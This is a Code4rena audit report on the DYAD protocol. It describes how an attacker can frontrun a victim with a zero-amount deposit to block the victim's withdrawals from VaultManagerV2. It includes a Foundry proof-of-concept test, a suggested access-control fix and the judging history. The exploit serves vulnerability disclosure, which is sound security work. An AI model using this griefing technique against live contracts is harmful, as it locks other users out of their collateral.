Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 167/183
Findings: 1
Award: $0.02
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: MrPotatoMagic
Also found by: 0x175, 0x486776, 0x77, 0xAkira, 0xAsen, 0xDemon, 0xabhay, 0xblack_bird, 0xlemon, 0xloscar01, 0xtankr, 3docSec, 4rdiii, Abdessamed, AlexCzm, Angry_Mustache_Man, BiasedMerc, Circolors, Cryptor, DMoore, DPS, DedOhWale, Dinesh11G, Dots, GalloDaSballo, Giorgio, Honour, Imp, Jorgect, Krace, KupiaSec, Mrxstrange, NentoR, Pechenite, PoeAudits, Ryonen, SBSecurity, Sabit, T1MOH, TheFabled, TheSavageTeddy, Tychai0s, VAD37, Vasquez, WildSniper, ZanyBonzy, adam-idarrha, alix40, asui, blutorque, btk, c0pp3rscr3w3r, caglankaan, carrotsmuggler, d_tony7470, dimulski, dinkras, djxploit, falconhoof, forgebyola, grearlake, imare, itsabinashb, josephdara, kartik_giri_47538, ke1caM, kennedy1030, koo, lionking927, ljj, niser93, pep7siup, poslednaya, ptsanev, sashik_eth, shaflow2, steadyman, turvy_fuzz, ubl4nk, valentin_s2304, web3km, xyz, y4y, zhaojohnson, zigtur
0.0234 USDC - $0.02
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L143
To prevent flash loan attacks, the VaultManagerV2::deposit
function stores the block number of the transaction in the idToBlockOfLastDeposit
mapping and the VaultManagerV2::withdraw
function reverts if the last deposit was made in the same block.
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L131
function deposit( uint id, address vault, uint amount ) external isValidDNft(id) { @> idToBlockOfLastDeposit[id] = block.number; Vault _vault = Vault(vault); _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); _vault.deposit(id, amount); }
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L134-L153
function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { @> if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() * 1e18 / 10**_vault.oracle().decimals() / 10**_vault.asset().decimals(); if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); }
This allows a malicious user to hinder others from withdrawing collateral or redeeming DYAD tokens by calling deposit
with a 0 amount
in the same block as the victim. The attacker can frontrun the victim's transaction and save gas by passing a smart contract address of his own as the vault
parameter, as there is no validation for the vault
parameter in the deposit
function.
function testWithdrawGriefing() public { Licenser licenser = Licenser(contracts.vaultManager.vaultLicenser()); vm.prank(MAINNET_OWNER); licenser.add(address(contracts.ethVault)); uint nftId = contracts.vaultManager.dNft().mintNft{value: 1 ether}(victim); vm.deal(victim, 10 ether); vm.roll(1); vm.startPrank(victim); contracts.vaultManager.add(nftId, address(contracts.ethVault)); // Victim adds the vault (bool success,) = MAINNET_WETH.call{value: 10 ether}(abi.encodeWithSignature("deposit()")); // The victim gets 10 WETH (success,) = MAINNET_WETH.call(abi.encodeWithSignature("approve(address,uint256)", address(contracts.vaultManager), 10 ether)); //Approve the vault manager to spend the WETH contracts.vaultManager.deposit(nftId, address(contracts.ethVault), 10 ether); // The victim deposits 10 WETH into the vault vm.stopPrank(); vm.roll(2); // The attacker deposits 0 WETH into the vault in a different block vm.prank(attacker); contracts.vaultManager.deposit(nftId, address(contracts.ethVault), 0); vm.prank(victim); vm.expectRevert(DepositedInSameBlock.selector); contracts.vaultManager.withdraw(nftId, address(contracts.ethVault), 1 ether, victim); // The victim can't withdraw because the attacker deposited 0 WETH in the same block }
Steps to reproduce the test:
v2.t.sol
test file:import {DNft} from "../../src/core/DNft.sol";
v2.t.sol::V2Test
:DNft dNft; error DepositedInSameBlock(); address victim = makeAddr("victim"); address attacker = makeAddr("attacker");
v2.t.sol::V2Test
Manual review
Consider allowing deposits from the NFT owner only:
function deposit( uint id, address vault, uint amount ) external - isValidDNft(id) + isDNftOwner(id) { idToBlockOfLastDeposit[id] = block.number; Vault _vault = Vault(vault); _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); _vault.deposit(id, amount); }
Alternatively, implement a whitelist managed by the NFT owner, and only allow deposits from NFT owners designated addresses.
DoS
#0 - c4-pre-sort
2024-04-27T11:23:23Z
JustDravee marked the issue as duplicate of #1103
#1 - c4-pre-sort
2024-04-27T11:51:45Z
JustDravee marked the issue as duplicate of #489
#2 - c4-pre-sort
2024-04-29T09:26:05Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-05T20:38:08Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T21:10:58Z
koolexcrypto marked the issue as nullified
#5 - c4-judge
2024-05-05T21:11:04Z
koolexcrypto marked the issue as not nullified
#6 - c4-judge
2024-05-08T15:29:59Z
koolexcrypto marked the issue as duplicate of #1001
#7 - c4-judge
2024-05-11T19:44:57Z
koolexcrypto marked the issue as satisfactory
#8 - c4-judge
2024-05-13T18:34:30Z
koolexcrypto changed the severity to 3 (High Risk)